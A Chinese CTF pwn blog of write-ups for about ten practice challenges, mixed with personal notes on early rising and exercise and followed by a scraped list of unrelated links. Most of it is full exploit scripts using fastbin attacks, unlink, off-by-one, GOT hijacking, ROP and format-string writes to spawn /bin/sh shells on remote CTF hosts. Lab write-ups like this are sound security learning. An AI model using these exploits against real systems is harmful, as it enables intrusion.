独奏者2 序章的wp
0x01 0ctf_2017_babyheap
2023.7.24 国防科技大学 合肥
本题除了fastbin attack,最重要的是伪造fakechunk,使得存放chunk的指针有两个指向同一个地址,达到泄露地址的目的。
突然发现自己之前写过一模一样的题,当时是照着别人的方法写的堆重叠(这次也有借鉴其实……)。
这个方法我愿意称之为double malloc。
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')
setup('./2017')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',28216)
evgdb()
def add(size):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
def edit(idx,content):
sla(':','2')
sla(':',str(idx))
sla(':',str(len(content)))
sla(':',content)
def free(idx):
sla(':','3')
sla(':',str(idx))
def dump(idx):
sla(':','4')
sla(':',str(idx))
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3,改4
add(0x80)#4
add(0x10)#5 申请堆,最后一个防止合并
#先指向,然后申请fake,两次指向,free一次,泄露地址free(1)
free(2)
#pause()
edit(0,b'\x00'*8*3+p64(0x21)+b'\x00'*8*3+p64(0x21)+b'\x80')
edit(3,b'\x00'*8*3+p64(0x21))
add(0x10)#1
add(0x10)#2 fake chunk
#此时2和4都指向一个堆块edit(3,b'\x00'*8*3+p64(0x91))#恢复,获取地址
free(4)#送入unsorted bin
dump(2)#打印
addx = tet()
addx = tet()
addx = tet()
addx = tet()
addx = tet()
addx = tet()
#接收数据,泄露libc地址addx = getx64(-9,-1)
hook = addx-0x68
addx = hook - 0x1430
base = getbase(addx,'_IO_file_jumps')
add(0x80)
add(0x68)
add(0x68)#fastbin attack
free(6)
free(7)
edit(5,b'\x00'*8*3+p64(0x71)+b'\x00'*8*0xd+p64(0x71)+p64(hook-0xb-0x18))
os = base+0x4526a
add(0x68)
add(0x68)
edit(7,b'\x00'*0x13+p64(os))
dp('hook',hex(hook))
add(0x10)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
0x02 hitcon2014_stkof
hitcon2014_stkof
2023.7.25
自己从昨晚开始看的,今天早上好好逆了一下,独立做出来的一道题。
本题目的关键因为没有dump函数,所以是劫持got表到puts的plt,这是我自己发现的,哈哈哈好厉害!
详细的都在exp里了。
刚才看了一下,这题还有一个办法是unlink。
unlink的作用就是,
当一个bin从记录bin的双向链表中被取下时,会触发unlink。常见的比如:相邻空闲bin进行合并,malloc_consolidate时。unlink的过程如下图所示(来自CTFWIKI)主要包含3个步骤,
根据P的fd和bk获得双向链表的上一个chunk FD和下一个chunk BK
设置FD->bk=BK
设置BK->fd=FD,以此达到修改内存的目的,此题是修改s。
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./sk')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27833)
evgdb()
def add(size):
sl(str(1))
sl(str(size))
def edit(idx,content):
sl('2')
sl(str(idx))
sl(str(len(content)))
sd(content)
def free(idx):
sl('3')
sl(str(idx))
def dump(idx):
sl(b'4')
sl(str(idx))
#存在堆溢出漏洞
#打fastbin attack任意内存写
#注意0x7f对应的大小是0x68!!
#注意0x7f对应的大小是0x68!!
#注意0x7f对应的大小是0x68!!
add(0x10)#一个被隔开的,1
add(0x10)#2,控制后面的堆
add(0x68)#3
add(0x68)#4
add(0x10)#5,防止合并
free(3)#
free(4)#释放准备攻击
edit(2,p64(0)*3+p64(0x71)+p64(0)*13+p64(0x71)+p64(0x602140-0x6b-8))
#覆盖为堆指针的上面部分,对其0x7f伪造堆块
add(0x68)#6
add(0x68)#7,fake chunk
edit(7,b'\x00'*(0x6b+8-0x10)+p64(gotadd('free'))+p64(gotadd('puts')))
#free的是为了写,puts的是为了泄露地址
edit(0,p64(pltadd('puts')))#free劫持为puts,用来泄露地址
free(1)#泄露puts的got地址,实际上执行的是puts(putsgot)
for i in range(19):
addx = tet()
#接收泄露地址
addx = getx64(0,-1)
base = getbase(addx,'puts')
sys = symoff('system',base)
edit(0,p64(sys))#free劫持为system
edit(2,'/bin/sh')#写个binsh字符串
free(2)#实际上执行的是system(‘/bin/sh’)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
发现沉下心来逆一下还是可以理解程序的!!!
0x03 pwnable_hacknote
2023.7.25 还是合肥
pwnable你这个库真骚啊……原来自己过去还有个库。
查了一下
strings libc_32.so.6 |grep Ubuntu
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
from pwn import *
from evilblade import *
#context(os='linux', arch='amd64')
context(os='linux', arch='i386', log_level='debug')
setup('./note')
libset('libc_32.so.6')
rsetup('node4.buuoj.cn',26091)
evgdb()
#evgdb('b *0x8048918')
def add(size,content):
#p.sendlineafter(':','1')
#p.sendlineafter(':',str(size))
sla(':',str(1))
sla(':',str(size))
sla(':',content)
def edit(idx, content):
sla(':','2')
sla(':',str(idx))
sa(':',content)
def free(idx):
sla(':','2')
sla(':',str(idx))
def dump(idx):
sla(':','3')
sla(':',str(idx))
add(16,b'a'*8)
add(16,b'b'*8)
free(0)
free(1)
add(8,p32(0x0804862b)+p32(gotadd('puts')))
dump(0)#uaf,修改了本来的堆地址为puts的got表
symoff('puts')
#addx = tet()
addx = getx32(-13,-9)
base = getbase(addx,'puts')
sys = symoff('system',base)
#走投无路了,看了别人题解,居然是用;绕过
#因为本来是把自己当成参数,但是没有\0截断,会读到下面,于是
#用;绕过加一个sh执行system('sh\x00'),牛的,而且刚好四个字节
free(2)
add(8,p32(sys)+b';sh\x00')
dump(0)
ia()
0x04 roarctf_2019_easy_pwn
2023.7.27
off-by-one是先释放再修改,要用unsorted bin,然后要确保presize没错。
以及这个要用realloc调栈……
原理是malloc_hook->realloc->realloc_hook
被某人教导了,别人说我倒是不听……不能总说比赛比赛,多发现点生活,生活不能只有这些。从现在起就。
昨天教导的哈哈,现在她还睡呢。
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn',27829)
def add(size):
sla(':',str(1))
sla(':',str(size))
def edit(idx,size,content):
sla(':','2')
sla(':',str(idx))
sla(':',str(size))
sla(':',content)
def free(idx):
sla(':','3')
sla(':',str(idx))
def dump(idx):
sla(':',b'4')
sla(':',str(idx))
#此题在获取size的函数中,当输入大于原始数值10时会返回原始数值+1
#故打off-by-one
add(0x18)#0
add(0x88)#1,构造fakechunk,覆盖2
add(0x88)#2,预备unsorted
add(0x30)#3,防止和top chunk合并
#第一步先构造fake chunk泄露地址
#这里有一个难点,就是会有pre_size的校验
#所以要看一下来确认在哪里写pre_size
free(1)
#free,看一下到哪里写pre_size
#观察到在90下0x20写b0即可(加0x20),只需要打印到下一个堆块前八位,多打印一些也行
edit(0, 0x18+10,b'\x00'*0x18+b'\xb1')
edit(2, 0x18, p64(0xb0)*3)
#因为是calloc申请时会置零,所以要先恢复chunk2信息。
#同理要确认一下恢复到哪里。
add(0xa8)
edit(1,0x10*8+0x10,b'\x00'*0x10*8+p64(0x91)*2)
#数出来是8*0x10+8,恢复
free(2)
#释放fake chunk获得地址,可以泄露
free(4)
dump(1)
addx = getx64(-28,-22)
hook = addx - 0x68
#symoff('_IO_2_1_stdin_')
base = getbase(addx,'_IO_2_1_stdin_',0x298)
os = base + 0x45216
#此时泄露得到基地址,但是还要劫持程序流才行
#因为开启了FULL RELRO,只能修改malloc hook了
#but,malloc_hook过时了,现在用freehook更好!(mallochook打不出来一点,oneshot不符合)
#然后发现freehook太难了,以后再说,一会调一下带源码为什么freehook-0x13不行
#网上说用realloc调节rsp
#原理是malloc_hook->realloc->realloc_hook
#走fastbin attack
add(0x68)
add(0x68)
#申请两个进入fastbin
free(4)
free(2)
#释放进入
dp('hook',hex(hook))
dp('os',os)
rea = symoff('realloc',base)
os = base+0x4526a
#首先修改realloc_hook,因为相邻所以两个一起改了
edit(1,0x10*8+0x10+8,b'\x00'*0x10*8+p64(0x71)*2+p64(hook-0x23))
#申请回来
add(0x68)
add(0x68)
edit(4,3+0x18,b'\x00'*3+p64(0)+p64(os)+p64(rea))
#realloc后正好rsp+0x30就是0,完成
evgdb('b *$rebase(0xccc)')
dp('new',base)
dp('hook-0x23',hook-0x23)
add(1)
ia()
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf02b0 execve("/bin/sh", rsi, [rax])
constraints:
[rsi] == NULL || rsi == NULL
[[rax]] == NULL || [rax] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66f0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
'''
0x05 buuctf jarvisoj_level3_x64
2023.7.28 合肥
因为buu上题目重复了,所以又做了一遍这个。但是有特别的收获。
(啊……最近感冒真难受啊)
感谢链接这位师傅给我作为参考。
收获是什么呢?就是我的魔刀千刃又进行了一次改进,加入了远程搜索库的功能。
本题目其实就是一个ret2libc。
怎么今天讲座结束这么早,提问都没有,只能在外面写完博客
什么时候会专门给魔刀千刃更新一下博客呢?
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
#libset('libc-2.23.so')
rsetup('node4.buuoj.cn',29268)
putsplt = pltadd('write')
dp('puts',hex(putsplt))
mainplt = symadd('_start')
putsgot = gotadd('read')
rsir15 = 0x00000000004006b1
ret = 0x0400499
rdiadd = 0x04006b3
#不要用write的地址泄露got,有别名
evgdb()
sl(b'a'*0x88+p64(rdiadd)+p64(1)+p64(rsir15)+p64(putsgot)+p64(0)+p64(putsplt)+p64(mainplt))
addx = tet()
addx = uu64(ru('\x00')[:-1])
dp('addx',hex(addx))
rlibset('read',addx)
base = getrbase(addx,'read')
sys = rsymoff('system',base)
binsh = rsymoff('str_bin_sh',base)
sl(b'a'*0x88+p64(rdiadd)+p64(binsh)+p64(ret)+p64(sys))
ia()
0x06 cmcc_pwnme2
2023.8.1 广东
from pwn import *
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
#libset('libc-2.23.so')
rsetup('node4.buuoj.cn', 25418)
evgdb('b *0x80485cb')
sla('input',b'a'*0x70+p32(pltadd('gets'))+p32(0x80485cb)+p32(0x804A060))
sl(b'flag')
#sl(b'a'*0x70+p32(0x80485cb))
ia()
读flag。
0x07 npuctf_2020_easyheap
off-by-one一道~来自2023.8.4的清晨。
只可已申请0x18和0x38大小的,那就用0x18构造fakechunk为0x38,达到任意地址写目的,劫持got表。
from evilblade import *
context(os='linux', arch='amd64')
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
libset('libc-2.27.so')
rsetup('node4.buuoj.cn',26063)
evgdb()
def add(size,content):
sla(':',str(1))
sla(':',str(size))
sla(':',content)
def edit(idx,content):
sla(':','2')
sla(':',str(idx))
sla(':',content)
def free(idx):
sla(':','4')
sla(':',str(idx))
def dump(idx):
sla(':',b'3')
sla(':',str(idx))
#打off-by-one
add(0x18,b'/bin/sh\x00')#0
add(0x18,b'a')#1
add(0x38,b'a')#2
add(0x18,b'/bin/sh\x00')#3
edit(0,b'\x00'*0x18+b'\x41')
free(1)
free(2)
add(0x38,b'xxxx')
add(0x18,b'yyyy')
add(0x38,b'zzzz')
putsgot = gotadd('puts')
freegot = gotadd('free')
edit(4,b'z'*8+p64(0)*2+p64(0x21)+p64(0x38)+p64(putsgot))
dump(2)
addx = tet()
addx = getx64(-7,-1)
base = getbase(addx,'puts')
edit(4,b'z'*8+p64(0)*2+p64(0x21)+p64(0x38)+p64(freegot))
edit(2,p64(symoff('system',base)))
free(3)
ia()
今天早上六点半就起来了,虽然昨晚去深圳玩回来有点晚,以及各种各样原因。但是是睡到自然醒,基本也是一个半小时周期,六点四十多起来背了个单词,跑跑步练了下哑铃,然后就是陪陪某人醒来到又睡觉。
感觉早起整个人的身体和精神状态都好很多,做背单词什么的事情也不会觉得很着急很浪费时间,反而是觉得没所谓想背多久就多久。如果有幸以后都能早起,每天早起上述的事情干完,再做一个pwn,对我来说是非常好非常好的,这样我每天就会有收获,不会虚度。
为什么突然这么做了呢?因为昨天在深圳龙华天虹中心的不见书店看了下《认知觉醒》等等的书籍,我觉得非常有用,实施之后也发现确实,精神抖擞也不困。
其实之前看过类似的,但是没有坚持下来,因为各种原因。现在重拾之后,感觉状态真的不错。打算搞电子版下来看看。
总之就是突然早起了,可以开始集中很多注意力,做很多以前没有精力做不了的事情……在这里也随手记录一下。
1.早睡早起
这个是很重要的,但是一开始不要着急,一点、十二点、十一点都可以,只要不要设置闹钟,睡到自然醒,知道周期是一个半小时就好,起来之后精神的话就走走晒晒太阳开启一下。
2.运动
可以和我一样跑跑步,拉拉哑铃,什么都可以。
3.主动休息
这个不只是起床的时候,任何时候做了事情之后可以去休息一下恢复精力。但是不要是聊天、刷视频,可以是收拾房间、晾衣服,做一些看起来没啥用实际上大大利好生活环境(如果和某人住一起的话,某人肯定也会很高兴一起来周围都干净很多),不仅回复经历,还会让自己接下来的学习工作环境更加舒适。
4.冥想
这个我觉得可以广义的冥想,除了集中注意力在呼吸,还可以是集中注意力在某件事上,总之就是让自己思想的七个球集中在同一个事情,这样也会很好的提升注意力,提升专注力,不是一个马大哈。
大概先记录这么多?去吃早餐咯,后续有更多的在分享。这里是松散的,有时间可能会整理一下。
0x08 虎符2022 babygame
https://www.ctfer.vip/problem/2163
2023.8.5 今天是七点多起来的,只背了单词,慢慢适应,还有多读点书。今早起来把昨天做的一道题复盘了一下。是这个babygame,实际上应该不难但是因为有canary给我整的云里雾里。
实际上,canary只会影响到我们从本函数ret跳转,如果你直接在此函数里还有别的函数,并且在别的函数里跳转提权,你就不用考虑这个最开始的函数canary是否被覆盖,因为都还没到他那里验证呢。
不要太死,程序是死的人是活的,并不是不能覆盖,而是不能覆盖之后检查。canary没那么可怕!
那既然没有检查,就完全可以覆盖修改!像本题目就可以用printf和%s泄露栈地址。然而我当时没注意到,第一个printf并没有用上,反而是用了后面那个函数里的一个printf最后提权,我觉得还是挺牛的。
本地无ASLR版本
from evilblade import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
libset('libc.so.6')
rsetup('node3.anna.nssctf.cn', 28218)
dll = cdll.LoadLibrary('libc.so.6')
seed = dll.srand(0x61616161)
sd(b'a'*0x108+b'\x00')#覆盖种子为aaaa
for i in range(100):
rand = str((dll.rand() + 1)%3)
sla(':',rand)#控制种子,猜拳获胜
#rbp是第八个
evgdb()
sd(b'%21566c%8$hhn-%9\xf8')#控制返回地址并且泄露
addx = tet()
addx = tet()
addx = tet()
stack = getx64(-24,-18)#得到栈地址
sd(b'%21500c%8$hn%3$p'+p64(stack))
ru('0')
addx = rv(13)
addx = int(b'0'+addx,16)-18
dpx('read',addx)#泄露libc
base = getbase(addx,'read')
os = base + 0xe3b31
dpx('stack',stack+0x10)
rdi = base+0x0000000000023b72
binsh = base+0x00000000001b45bd
sys = symoff('system',base)
ret = base+0x0000000000022679
#fmt = fmtstr_payload(6,{stack+0x10:rdi,stack+0x18:binsh,stack+0x20:ret,stack+0x28:sys},write_size ='short',numbwritten=0)
fmt = fmtstr_payload(6,{stack+0x10:os},write_size ='short',numbwritten=0)
#为了保险打的system,其实也可以直接oneshot
sd(fmt)
ia()
有ASLR
from evilblade import *
from ctypes import *
while True:
try:
context(os='linux', arch='amd64', log_level='debug')
setup('./pwn')
libset('libc.so.6')
rsetup('node3.anna.nssctf.cn', 28218)
evgdb()
dll = cdll.LoadLibrary('libc.so.6')
seed = dll.srand(0x61616161)
sd(b'a'*0x108)#覆盖种子为aaaa
for i in range(100):
rand = str((dll.rand() + 1)%3)
sla(':',rand)#控制种子,猜拳获胜
#rbp是第八个
sd(b'%21566c%8$hhn-%9\xe8')#控制返回地址并且泄露
addx = tet()
addx = tet()
addx = tet()
stack = getx64(-24,-18)#得到栈地址
sd(b'%21500c%8$hn%3$p'+p64(stack))
ru('0')
addx = rv(13)
addx = int(b'0'+addx,16)-18
dpx('read',addx)#泄露libc
base = getbase(addx,'read')
os = base + 0xe3b31
dpx('stack',stack+0x10)
rdi = base+0x0000000000023b72
binsh = base+0x00000000001b45bd
sys = symoff('system',base)
ret = base+0x0000000000022679
# fmt = fmtstr_payload(6,{stack+0x10:rdi,stack+0x18:binsh,stack+0x20:ret,stack+0x28:sys},write_size ='short',numbwritten=0)
fmt = fmtstr_payload(6,{stack+0x10:os},write_size ='short',numbwritten=0)
#为了保险打的system,其实也可以直接oneshot
sd(fmt)
except EOFError:
print("错误:输入遇到了文件结束符(EOF)。")
except KeyboardInterrupt:
print("{文明用语}!,继续!")
else:
ia()
XSHHC师傅的exp
这个师傅则是清楚的意识canary的检测机制是如何运作的,所以能够在第一个printf就泄露栈地址。
from struct import pack
from LibcSearcher import *
from pwn import *
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
p.recvuntil(a)
def inter():
p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
#p = remote('1.14.71.254', 28648)
elf = ELF('./pwn')
gdb.attach(p)
#libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
libc = ELF('libc.so.6')
text = [2, 0, 1, 0, 0, 2, 0, 0, 2, 2, 0, 1, 0, 2, 2, 2, 2, 0, 0, 2, 0, 1, 2, 0, 1, 2, 2, 2, 1, 0, 0, 2, 1, 1, 0, 0, 2, 0, 0, 1, 2, 0, 1, 1, 1, 0, 1, 1, 2, 1, 2, 1, 1, 1, 2, 2, 2, 1, 1, 0, 1, 1, 2, 2, 1, 2, 1, 0, 2, 1, 0, 0, 1, 0, 1, 1, 0, 2, 2, 1, 2, 2, 0, 0, 2, 1, 2, 1, 1, 0, 1, 2, 1, 0, 0, 1, 2, 1, 1, 0]
sa(b'name:\n', b'a'*0x138)
stack = get_addr()
print(hex(stack))
for i in range(100):
sa(b'round', str(text[i]).encode())
sa(b'you.\n', b'%62c%8$hhn.%9$pa' + p64(stack - 0x220))
rl(b'0x')
libc_base = int(p.recv(12), 16) - 175 - libc.sym['printf']
print(hex(libc_base))
one_gadget = libc_base + 0xe3b31
payload = fmtstr_payload(6, {(stack - 0x220):one_gadget})
sa(b'you.\n', payload)
inter()
尾声
(那我只用了一个printf在保护全开的情况下成功拿到权限,从另一个角度来说不是也很厉害嘛?)
我称之为printf by one
find / -name flag*
(顺便记一下找flag的命令哈哈)
0x09 wdb_2018_2nd_easyfmt
2023.8.5 晚上做一下题放松,其实因为库又搞混了,并没有很放松。
很久没有那种很幸福的生活的感觉了啊!最近要注意生活,还有写写曲子啦!
from evilblade import *
#context(os='linux', arch='i386', log_level='debug')
setup('./pwn')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn', 26952)
evgdb()
sd('%35$p')
addx = tet()
addx = geti(0,-1)
addx -= 247
#rlibset('__libc_start_main',addx)
base = getbase(addx,'__libc_start_main')
sys =symoff('system',base)
os = base+0x5fbd6
fmt = fmt(6,gotadd('printf'),sys,'short',0)
sl(fmt)
sl(b'/bin/sh\x00')
ia()
0x0a inndy_stack
2023.8.7
这题做了昨天和今天,昨天打了一个2.3版本的打法,是利用pop和push泄露一切然后rop。以及2.23 0ubantu11.3的打法,偏移泄露canary+泄露libc+rop,以及最后2.23 0ubantu3和11的打法,偏移泄露rop。
最大的问题是没有配好libc,导致走了很多弯路!
最大的问题是没有配好libc,导致走了很多弯路!
最大的问题是没有配好libc,导致走了很多弯路!
偏移这个也是灵光一闪。
今天凌晨做了一点奇怪的梦,要把pwn放一放多一些注意别的方面了哈哈哈。今天做完这不做了。
buu_exp 2.230ubantu11
from evilblade import *
context(os='linux', arch='i386', log_level='debug')
setup('./pwn')
libset('libc-2.23.so')
rsetup('node4.buuoj.cn', 28268)
#rsetup('hackme.inndy.tw', 7716)
evgdb('b *$rebase(0x8a4)')
sl(b'p')
sl(b'i 93')
sl(b'p')
ru('Pop -> ')
ru('Pop -> ')
main = getd(0,-1)+0x100000000-247
dpx('main',main)
symoff('__libc_start_main')
base = getbase(main,'__libc_start_main')
sys = symoff('system',base)
sh = 0x0015902b+base
sl(b'c')
sl(b'p')
sl(b'i 93')
sl(b'p')
os = base+0x3a80e
#sl('i {first}'.format(first=sys-0x100000000))
sl('i {first}'.format(first=os-0x100000000))
#sl('i {first}'.format(first=main-0x100000000))
#sl('i {first}'.format(first=sh-0x100000000))
sl(b'x')
ia()
tw_exp 2.230ubantu3
from evilblade import *
context(os='linux', arch='i386', log_level='debug')
setup('./pwn')
libset('libc-2.23.so.i386')
rsetup('node4.buuoj.cn', 28268)
#rsetup('hackme.inndy.tw', 7716)
evgdb('b *$rebase(0x8a4)')
sl(b'p')
sl(b'i 93')
sl(b'p')
ru('Pop -> ')
ru('Pop -> ')
main = getd(0,-1)+0x100000000-247
dpx('main',main)
symoff('__libc_start_main')
base = getbase(main,'__libc_start_main')
sys = symoff('system',base)
sh = 0x0015ba3f+base
sl(b'c')
sl(b'p')
sl(b'i 93')
sl(b'p')
os = base+0x3ac3e
sl('i {first}'.format(first=sys-0x100000000))
#sl('i {first}'.format(first=os-0x100000000))
#sl('i {first}'.format(first=main-0x100000000))
sl('i 0')
sl('i {first}'.format(first=sh-0x100000000))
sl(b'x')
ia()
2.31_exp
看个乐子,不是最好的方法。
from evilblade import *
context(os='linux', arch='i386', log_level='debug')
setup('./pwn')
libset('libc.so.6')
rsetup('node4.buuoj.cn', 28268)
#rsetup('hackme.inndy.tw', 7716)
evgdb('b *$rebase(0x8a4)')
for i in range(2):
sla(b'>>',b'p')
can = tet()
can = ru('Pop -> ')
can = getd(0,-1)
if can>0 :
can = can
else:
can = 0xffffffff+1+can
can = can - 0x1e3c1c#泄露libc
for i in range(2):
sla(b'>>',b'p')
main = tet()
main = ru('Pop -> ')
main = getd(0,-1)
main -= 27
#泄露pie(不重要……)
for i in range(2):
sla(b'>>',b'p')
stack = tet()
stack = ru('Pop -> ')
stack = getd(0,-1)
stack = 0xffffffff+1+stack
#泄露栈,用于泄露cannary
piebase = main - 0x73f
dpx('piebase',piebase)
dpx('base',can)
dp('main',main)
dpx('stack',stack)
base = can
dpx('base',base)
canadd = stack+0x40
dpx('canadd',canadd)
cannaryn = 81
for i in range(6):
sl('i {pay}'.format(pay=str(81)))
#修改偏移到canary的位置
sl('p')
#泄露canary
canary = ru('Pop -> ')
canary = getd(0,-1)
if canary>0 :
canary = canary
else:
canary = 0xffffffff+1+canary
dpx('canary',canary)
os = base+0x3a80c
sys = symoff('system',base)
binsh = base+0x0015ba3f
#sl(b'a'*0x40+p32(canary)+b'a'*0xc+p32(stack+116-24)+p32(0)+p32(os)+p32(os))
sl(b'a'*0x40+p32(canary)+b'a'*0xc+p32(stack+116-24)+p32(0)+p32(sys)+p32(main)+p32(binsh))
sl(b'x')
symoff('printf')
ia()
独奏者2 序章的wp的更多相关文章
- .Net 中的反射(序章) - Part.1
引言 反射是.Net提供给我们的一件强力武器,尽管大多数情况下我们不常用到反射,尽管我们可能也不需要精通它,但对反射的使用作以初步了解在日后的开发中或许会有所帮助. 反射是一个庞大的话题,牵扯到的知识 ...
- Asp.Net MVC4 + Oracle + EasyUI 学习 序章
Asp.Net MVC4 + Oracle + EasyUI 序章 -- 新建微软实例 本文链接:http://www.cnblogs.com/likeli/p/4233387.html 1. 简 ...
- Ⅰ.Spring的点点滴滴--序章
spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架 .net篇(环境为vs2012+Spring.Core.dll) 新建一个控制台 using Spring.Context; ...
- ar技术序章-SDK介绍和选择
转自: http://blog.csdn.net/kun1234567/article/details/10402535 ar技术序章-SDK介绍和选择 分类: Augmented Reality20 ...
- C蛮的全栈之路-序章 技术栈选择与全栈工程师
目录 C蛮的全栈之路-序章 技术栈选择与全栈工程师C蛮的全栈之路-node篇(一) 环境布置C蛮的全栈之路-node篇(二) 实战一:自动发博客 博主背景 985院校毕业,至今十年C++开发工作经验, ...
- CCNA+NP学习笔记—序章
本人就读于南京捷式泰网络科技有限公司学习CCIE,这几天准备将多年来的纸质版笔记全部写成电子版献给大家以留下自己学习的足迹.本章是基础篇章,内容较少,主要为之后的内容做铺垫.所有笔记的分类顺序为:序章 ...
- Netty5序章之BIO NIO AIO演变
Netty5序章之BIO NIO AIO演变 Netty是一个提供异步事件驱动的网络应用框架,用以快速开发高性能.高可靠的网络服务器和客户端程序.Netty简化了网络程序的开发,是很多框架和公司都在使 ...
- 数据结构(java版)学习笔记(序章)
程序=数据结构+算法 序章做一个简单的思维导图,方便理解数据结构这门课的大纲,接下来我们将是按照线性表,栈,队列,串,树和图的顺序依次往下学.
- Netty序章之BIO NIO AIO演变
Netty序章之BIO NIO AIO演变 Netty是一个提供异步事件驱动的网络应用框架,用以快速开发高性能.高可靠的网络服务器和客户端程序.Netty简化了网络程序的开发,是很多框架和公司都在使用 ...
- JZOJ 4272. 【NOIP2015模拟10.28B组】序章-弗兰德的秘密
272. [NOIP2015模拟10.28B组]序章-弗兰德的秘密 (File IO): input:frand.in output:frand.out Time Limits: 1000 ms M ...
随机推荐
- 2023-03-08:x265的视频编码器,不用ffmpeg,用libx265.dll也行。请用go语言调用libx265.dll,将yuv文件编码成h265文件。
2023-03-08:x265的视频编码器,不用ffmpeg,用libx265.dll也行.请用go语言调用libx265.dll,将yuv文件编码成h265文件. 答案2023-03-08: 使用 ...
- 2021-08-09:给定一个有正、有负、有0的数组arr,给定一个整数k,返回arr的子集是否能累加出k。1)正常怎么做?2)如果arr中的数值很大,但是arr的长度不大,怎么做?
2021-08-09:给定一个有正.有负.有0的数组arr,给定一个整数k,返回arr的子集是否能累加出k.1)正常怎么做?2)如果arr中的数值很大,但是arr的长度不大,怎么做? 福大大 答案20 ...
- uniapp开发企业微信应用中的定位问题记录
项目背景:开发工具为HBuilderX,框架为uniapp,开发移动端的Web应用,在企业微信中使用(自建应用),Web开发的应用,不是小程序. 需求点:获取用户当前的位置信息,技术流程包括以下几个环 ...
- Spring原理(1)——容器
容器接口 BeanFactory 是ApplicationContext的父接口,所有ApplicationContext的实现都组合了BeanFactory. BeanFactory才是Spring ...
- PictureBox 从数据库加载图片照片
Private Sub PAPHOTO_SEL() Try Dim objCon As SqlConnection Dim objCmd As SqlCommand '打开数据库 objCon = N ...
- 2023.5.16 总结 AT_abc260_g
atcoder AT_abc260_g 题意 一个点 O 可以影响到其它点,能影响到的点的坐标满足:(\((u, v)\) 为当前点的坐标,\((x, y) 为能影响到的点的坐标\)) \(u\le ...
- Shiro 授权绕过 (CVE-2022-32532)
Shiro 授权绕过 (CVE-2022-32532) 一.产品简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理. 1.9.1 之前的 Apache ...
- golang 包管理
- Hugging News #0526: Hugging Cast 发布第一期、邀请来认领自己的论文啦!
每一周,我们的同事都会向社区的成员们发布一些关于 Hugging Face 相关的更新,包括我们的产品和平台更新.社区活动.学习资源和内容更新.开源库和模型更新等,我们将其称之为「Hugging Ne ...
- 【python基础】复杂数据类型-列表类型(数值列表)
1.数值列表 列表非常适合用于存储数字集合,而python提供了很多工具,可帮助我们高速地处理数字列表. 1.1 range函数 python的range函数能够轻松的生成连续一系列数字. 其语法格式 ...